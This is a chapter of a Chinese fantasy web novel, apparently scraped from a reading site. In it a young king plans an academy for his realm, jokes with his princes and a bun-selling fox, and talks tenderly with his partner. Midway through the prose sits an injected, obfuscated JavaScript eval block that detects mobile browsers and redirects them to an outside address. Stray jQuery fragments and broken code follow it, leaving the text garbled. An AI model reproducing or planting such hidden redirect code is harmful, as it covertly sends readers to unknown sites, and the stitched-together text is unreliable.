44.皂方

作品:《春秋二记

    下面要讲一则寓言故事:


    曾经,有一只狐狸,水性杨花。(重点敲敲小黑板。)


    致力追求一枝绿荷花。(众人点头点头。)


    耐不住狐狸的死皮赖脸,那时还青春年少、智商不高的荷花答应了。(众人:哦~~)


    起什么哄!(众人安静如鸡。)


    然后,狐狸完成在盛稷的任务,百年春秋后,嘎嘣脆了。


    荷花很伤心,还立志为他守寡。


    (众人:哦哦哦~~~)


    恒王掰断了小教鞭。


    众人再次安静如鸡。


    恒王叹了口气:“没想到,他原来是有天氏的人。还好好地活在清棠不说,竟然,只是个卖包子的。”


    狐狸奋力爬窗,扯着喉咙喊:“你不要有职业歧视———”


    被诚王和英王直接拍打下桐花二楼窗去,摔得哎呀、哎呀、再哎呀:“屁股裂了——!”


    恒王叹了口气。


    睿王试图说句好话:“杨花郎的包子还是很美味的。”诚王诚实地点头。


    恒王不想理狐狸,自要离开采荷轩回房间去。


    玄鸟乌衣笑唤道:“阿姊,先留步。我有要事跟你谈。”


    “能不能不在这里谈?”恒王无奈地看向扒开窗缝的狐狸爪。


    玄鸟乌衣从善如流,笑而起身,问各位王尊要不要去下一处春霖道上的好地方。


    众人自然欣然同意。便整装出发,骏马飒爽。狐狸笼子在蔡鹤轩大厨的马鞍边,一路哎哟哎哟,制造噪音。


    不止恒王被吵得头疼,各位王尊也倍觉其烦人。于是蔡大厨善解人意道:“陛下先请,我随后便到。”


    玄鸟乌衣摇摇头,让纵王先带蔡大厨和杨包子师傅去前方一百二十里的青梧驿楼歇下,他们慢慢走过去。


    纵王领命而去。于是这下耳根清净了。


    玄鸟乌衣便与恒王并辔而行,道:“姊,我准备仿照白枣学宫,在大荒开建一个''维夏学宫''。”


    四王都看向他。


    玄鸟乌衣微微笑看栈道远方的清岫碧烟,夏林玉峰,道是:“…只是一个想法。兄弟们讨论讨论。”


    睿王与英王互相看看,便问道:“陛下,可否先告知我们原因。”


    “原因么…”他策马在前,四人只能看到他的背影,他道:“清棠之所以是清棠,大荒之所以是大荒,缺的只有一个:正气。”


    众人:……


    玄鸟乌衣微微回首笑道:“要么我们把稔山打下来,銮铃箭漏据为己有。”


    “要么我们自己造。”


    “二中选一,诸位怎么选?”


    诚王率先道:“千万年岁以来,难道妖魔也可以制作正气么。不是我多言,陛下,实在闻所未闻。”


    玄鸟乌衣默了半晌,温和道:“试试吧。先试试。”


    既然他这么说了,诸王也觉得没有必要再反驳。正如玄帝所言,万一呢,万一能成功呢?


    “便算是不成功,也没有什么坏处。”睿王孟槐道,“至少是我们给盛稷和清棠的一个态度——陛下,我们要问有天氏借夫子么?”


    玄鸟乌衣摇摇头,笑道:“先不必。我们有很好的老师。正好槐伯在,应该知道我说的是哪一位。”


    睿王了然——


    高笋塘,左知秋先生。


    是孟槐和王寿延龄的师父,算得上玄鸟乌衣的师爷。


    老爷子一直有教化天下人的理想,且是真正的有教无类,门下弟子从不分妖魔与否。


    所以,一直居住在高笋塘收徒授课,任外在世事与国疆变迁,不曾挪窝。


    睿王便于马上拱手道:“如此,臣回大荒后,便先去高笋塘,请左老爷子出山。”


    “不用出山。”玄鸟乌衣含笑道,“如果老爷子答允,我们便在高笋塘建设维夏学宫。”


    而后道:“再加一个蓝梅。待会去青梧驿,英王替朕找他,将事情说清楚。”


    众人眉头一挑。但也都知道蓝梅和左知秋差不多,一直不觉得嵬、妖魔、有天氏和盛稷人有什么区别。


    玄鸟乌衣叹了一声:“至于其他的夫子…”


    诚王道:“我们去找便是,陛下。”


    玄鸟乌衣笑道:“我正是这个意思。便按乐州香山观兵时的分工,你们几位王尊,由臻王领头,在大荒四方寻找有资格授课的夫子。”


    “纵王抽出来,预备朕的大婚。臻王顶上他的方位。”


    “这件事要着重地办。”玄鸟乌衣郑重道,回马看向四位神情肃然的重臣,“我大荒能不能有新的可能、新的未来,这便是最新的开始。”


    四王齐声拜道:“诺!”


    如此,玄鸟乌衣便继续领一行人游山玩水,边走边看。此地山水清灵,什么猴子们在瀑布间开桃子宴,白鹭们在水里泡温泉等等诸如此类,实在令人——心旷神怡。


    睿王看得有些不想行路。


    诚王不禁问:“陛下,我们是否可以请有天氏的山水郎官,也去我们大荒修建山水?反正他们缺地方发挥才能不是?”


    三王不禁看向他。这话也真只有这个赤血热肠的诚王能够直言快语地说出口了,其他人谁敢、谁这么无脑?


    玄鸟乌衣笑道:“是挺好。但现在,我不敢。”


    毕竟是真怕有天氏的山水郎们在关隘险塞搞什么动作,从此大荒连自保都难。


    诚王哈哈而笑。最后也是无奈叹息,拽着马缰道是:“我们和有天氏,防备来防备去的,真是让人心里不自在。”


    玄鸟乌衣也实在很喜欢这样心肠通透的弟弟,不禁抚摸上诚王的红色短发,温声笑道:“再等等吧。早晚有一天,我们不会再有清棠与大荒之别。”


    目光望向悠远的天空,那里远山呈现温柔的淡蓝色,不知其地何许广远:


    “…或许也会有那么一天,有天氏的司空和山水们…永远有无穷无尽的地方,发挥他们的才华。”


    众人尽都沉默了。英王抬眸看看这年轻的帝王,忽然感到——或许他想的、看到的,比所有人以为的更辽远许多。


    “至于而今,还是先做好当下的事吧。”英王致力于泼冷水。提缰纵马,将青竹果的沟渠一跃而过,“希望今年年底之前,能将维夏学宫奠定基础。”


    青梧驿馆中,花枝招展的狐狸已经做了一桌香喷喷菜包。


    睿王已经完全阻挡不住诱惑,跟花狐狸勾肩搭背、你兄我弟。纵王的碧玉眼睛已经变成了叮当当的闪光铜钱,呵呵地笑个不住,,一屉一屉地给客栈中赞不绝口的客人们上包子。


    而跟随玄鸟乌衣进来的恒王,虽然还是不太想理杨花狐狸,还是很诚实地跟着大家一块坐下,吃美味的包子。


    什么叫做面皮柔韧,松软香绵…玄鸟乌衣头一次觉得,茴香豆皮馅儿可以这么好吃,简直是人间至味:“再来俩!”


    花里胡哨的狐狸吹着口哨继续上包子,还很有闲情逸致地转着包子雕花边儿。


    如此笑笑闹闹,也是半日光景。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711105|154016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    待到傍晚时分,东衡拖着疲惫的步伐下后秋山,在皂角花开满枝的山道上,便接到小玄鸟的传信。


    便笑让同伴先行下山,他自找一块皂荚刺还算柔软的树桩坐会。


    皂角的枝叶很像槐,花色清雅碧碎,散发清爽的香气。


    东衡还在笑着想,是不是小玄鸟愈发想他了,玄鸟乌衣便含笑道:“阿衡,我得先回大荒一趟了。”


    便说起维夏学宫诸般安排,以及最重要的:“左知秋先生是我师公,我必得亲自去一趟。而且高高在上的请夫子们来教书,也很不像话的。”


    东衡嗯了一声,叹道:“你就没别的花想跟我说?”


    初夏时,皂角的刺虽不如春时柔嫩,也还算柔软,但也扎的人的心微微难受。


    玄鸟乌衣唔了一声,想道:“…应该,暂时没有其它的事情了。”温声道:“你放心,事情一完,我便回盛稷来找你。”


    “还回来做什么。”东衡温声道,“两头奔波,你也不嫌辛苦。正好先去巡狩吧——只大婚时出现就行。”


    玄鸟乌衣忍俊不禁:“…阿衡。”


    “便是我依,你爹爹妈妈也不依的。”


    东衡叹气。想想今后的聚少离多:“…我随你走罢。盛稷…换个人来看着。”


    “换谁?”玄鸟乌衣清清静静地说,“除了你,谁我也不放心。”


    东衡闭目。半晌不言。


    玄鸟乌衣温声道:“阿衡,很快的。你从南秋山城回来时,我已经在家等你了。”


    东衡直摇头:“你不要急!我说了多少次,路上慢慢走便是,你从不肯听我——”


    “好好,我听,我都记得。”玄鸟乌衣连忙哄生气的爱人,“阿衡,别生气了。”


    抿嘴而笑:“那么至少…成婚时我一定会在的。”


    东衡忍笑不住,终归笑叹一声,应道:“好。”


    便撑站起身,自皂林坡谷中缓缓走回城中去。


    “怎么不玩儿了?”东衡温声问,“春霖道上玩够了?”


    玄鸟乌衣微笑道:“没。只是事情宜早不宜迟。”


    东衡叹笑一声,嗯了一声。昨晚还盼着他不要怠惰误工,今天他开始勤勉于政了,又…东衡不禁对自己无奈了,笑了两声。


    玄鸟乌衣好奇:“笑什么?”


    东衡含笑道:“笑我的小帝王,还真像模像样了。”


    玄鸟乌衣哭笑不得。


    东衡也是叹笑,便跟他说起南秋山后的山皂荚谷:“骕骦氏都跟你一样爱惜马匹,用这里的皂荚果洗马,我给你带两包回去?都是质量上等的皂荚子。”


    玄鸟乌衣点头点头,开心开心。


    东衡也不禁笑,边走边跟他说起,研究出的山皂荚树的用法:“除了造阵,我看这些碧白的皂荚,倒很像悬刀。想来作战时,是不愁没刀用了。”


    玄鸟乌衣不禁笑,“好阿衡。”


    “师父喜欢用槐,”东衡笑说,“我喜欢用皂。也算一种传承。”仰头看向暮色渐落的皂谷,其间枝叶秀丽、羽叶如翠,走入南秋山城的东门,对驻守的骕骦氏将士们点头问好。


    “妄师父说,我与他相比,还有个好处。”东衡笑道,“我能用正气促进植物生长,那么——我可以随身携带皂荚果子,随时可以使用,也能给你和红袍随时造皂荚用。”


    玄鸟乌衣温声而笑,想起东衡衣服上温暖干净的皂荚香气。如此笑语两句,听得已是暮鼓敲响。这温暖的一日,便就此落下帷幕。